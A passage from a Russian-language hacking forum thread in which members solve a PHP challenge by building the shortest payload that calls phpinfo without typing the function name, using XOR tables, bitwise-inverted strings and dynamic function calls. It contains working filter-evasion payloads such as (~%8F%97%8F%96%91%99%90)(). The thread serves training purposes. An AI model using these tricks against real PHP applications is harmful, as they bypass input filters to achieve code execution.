$cap_letters[] ='K';
$cap_letters[] ='L';
$cap_letters[] ='M';
$cap_letters[] ='N';
$cap_letters[] ='O';
$cap_letters[] ='P';
$cap_letters[] ='Q';
$cap_letters[] ='R';
$cap_letters[] ='S';
$cap_letters[] ='T';
$cap_letters[] ='U';
$cap_letters[] ='V';
$cap_letters[] ='W';
$cap_letters[] ='X';
$cap_letters[] ='Y';
$cap_letters[] ='Z';

$letters[] ='a';
$letters[] ='b';
$letters[] ='c';
$letters[] ='d';
$letters[] ='e';
$letters[] ='f';
$letters[] ='g';
$letters[] ='h';
$letters[] ='i';
$letters[] ='j';
$letters[] ='k';
$letters[] ='l';
$letters[] ='m';
$letters[] ='n';
$letters[] ='o';
$letters[] ='p';
$letters[] ='q';
$letters[] ='r';
$letters[] ='s';
$letters[] ='t';
$letters[] ='u';
$letters[] ='v';
$letters[] ='w';
$letters[] ='x';
$letters[] ='y';
$letters[] ='z';

$xors= array();
for ($i=0;$i$arr[$i] ^$arr[$j],'x1'=>$arr[$i],'x2'=>$arr[$j]);
$xors[] =$temp;
}
}
}

// фраза которую нужно "перевести"
$command="phpinfo";
$comm_array=str_split($command);
$result="";

for ($j=0;$j!

crlf
20.01.2019, 02:59
l1ght said:
↑ (https://antichat.live)
${~"%a0%b8%ba%ab"}[%aa]() ?%aa=phpinfo


Шикарно!

https://i.imgur.com/py9RlFW.jpg

XoroXSS
20.01.2019, 03:21
Огромное спасибо за разборчики и решения, ну и спасибо @D3N (https://antichat.live/members/330007/) за переводчик!

Вообще, я начинающий в этом деле, приятно видеть что тут поддерживают новичков, а не пытаются закрыться от них гигантскими хайдами.

Взял новые знания на вооружение.

Coost
20.01.2019, 05:24
Блин, переводчик - тема! Спасибо @D3N (https://antichat.live/members/330007/)

l1ght
20.01.2019, 05:31
↑ (https://antichat.live/posts/4278633/)
Шикарно!
https://i.imgur.com/py9RlFW.jpg


победил dooble (https://antichat.live/members/295866/), двойные ковычки там лишние


↑ (https://antichat.live/posts/4277701/)
Кстати, шутка зашла, пересчитал, точно - 13
.
Но это, когда нагрузка делится get+post.

dooble
20.01.2019, 10:18
Пояснения про самый короткий вариант.

Он конечно будет с применением ~- побитовая инверсия символов строки.

Поскольку инверсия - обратимая операция, т.е. двойное ее применение дает исходную строку.

~~'phpinfo' =='phpinfo';

Короче этой нотации просто нет.

И, на заметку, ~string без кавычек выбросит нотис (Use of undefined constant phpinfo), но тоже будет работать на символах алфавита и некоторых других, скобки воспринимаются как конец строки .

Проверял два варианта, при первой проверке получил одинаковую длину решения и в дальнейшем оптимизировал только тот, в котором вся посылка умещается в input.

Уж не знаю, обсчитался в количестве символов, или просто записал неоптимально, но шутка Лайта зашла и повторная проверка показала, что вариант с раздельной нагрузкой post +get действительно короче.

В первом варианте переменной $_ присваивается строка ~~'phpinfo', а потом вызывается функция из имени переменной $_().

.SpoilerTarget" type="button">Spoiler: v1

Второй вариант проделывает эту же манипуляцию с массивом $_GET.

.SpoilerTarget" type="button">Spoiler: v2

здесь $_GET['_'] = 'phpinfo'.

Поскольку вариант ищем короткий, то кавычки не ставим, нотисы не мешают выполнить код.

Кстати l1ght (https://antichat.live/members/30257/) тоже нашел оба эти варианта, но не отписал ТС, видимо решив, что я передам, ну или для него это не очень значимо.

В любом случае, восстанавливаю справедливость.

Самый короткий вариант за Лайтом.

PS

Забыл пояснить курл нотацию, или "Сложный (фигурный) синтаксис" (https://secure.php.net/manual/ru/language.types.string.php),

внутри ${} может быть переменная или функция.

dooble
21.01.2019, 11:45
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?

Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.

XoroXSS
21.01.2019, 12:16
↑ (https://antichat.live/posts/4278889/)
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.


Мне, как человеку, который знает php на уровне скриптов под апи вк - было всё понятно. Очень здорово.

У меня не совсем по "краказябрам" вопрос..

В ответах к теме люди писали что использовали burp и sqlmap для поиска решения, так вот, меня заинтересовало как именно это происходило.

Насчет XSS - всё понятно, есть плагин бурповский xss-validator который автоматически проверяет на "алерты", а как поиск происходил в данном случае? Ручками?

dooble
21.01.2019, 12:32
Скульмап - это прикол.

Бурп - скорее всего просто привычный инструмент для манипуляции с пакетами.

unstppbl
21.01.2019, 14:39
↑ (https://antichat.live/posts/4278889/)
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.


Всё понятно, спасибо

dooble
21.01.2019, 20:22
Та дам!

Лайт прислал решение на 12 символов.


↑ (https://antichat.live)
а с:
$a=~"phpinfo";echo ~$a; phpinfo
$a="phpinfo";~~$a(); true
$a=~"phpinfo";~$a(); false
понял почему ?




↑ (https://antichat.live)
тип данных не меняется,синтаксис вроде позволяет,я это так и не вкурил




↑ (https://antichat.live)
все понял,
(~%8F%97%8F%96%91%99%90)() - 12 символов


Первоначально не поверил ему, поскольку этот вариант я проверял, минимум дважды, должен работать, но не работает.

Раскомментировал строку //$p='(~'.~'phpinfo'.')()';

работает.

.SpoilerTarget" type="button">Spoiler

Эту магию оставил на потом разбираться, сейчас больше интересует магия скобок.

Давайте добивать вместе.

Я когда экспериментировал, исходил из того, что запись (здесь чего то) означает, что внутри скобок находится строка, сейчас не помню где, поищю, но скобки - это еще один способ записи строки, например конструкция (int)$var использует его.

В результате $a=~'phpinfo'; print ~$a; получается не строка, возможно константа.

А скобки принудительно заставляют воспринимать, как строку $a=~'phpinfo';(~$a)();

Есть еще вариант объяснения, что скобки это просто последовательность операций и в пользу этого говорят проверки


eval('print (3-2)()'.';'); - Function name must be a string
eval('print ("2"+"2")()'.';'); - Function name must be a string
eval('print (2*2)()'.';');- Function name must be a string

По крайней мере, это точно не преобразование в строку.

Кстати эта конструкция работает только на семерке, а в пятой ветке не работает.

==

PS

Лайт - красавчик.

#этапять

но поскольку отказался оформить пост, то #этаужечетыре и нет возможности закидать его репой (((.

==

PS2

Вот чем хорошо, когда команда ресерчит, вариантов набирается много и разных, и задание вроде бы простое, а превращается в нормальное, полноценное, интересное.

leaderru
01.04.2020, 14:21
Прохожу эти задания в 2020, здесь самостоятельно никак не справился

WoS
02.04.2020, 13:20
↑ (https://antichat.live/posts/4277605/)
Прошел. 23 символа


Почему меня нет в списке прошедших? Репутацию тоже не дали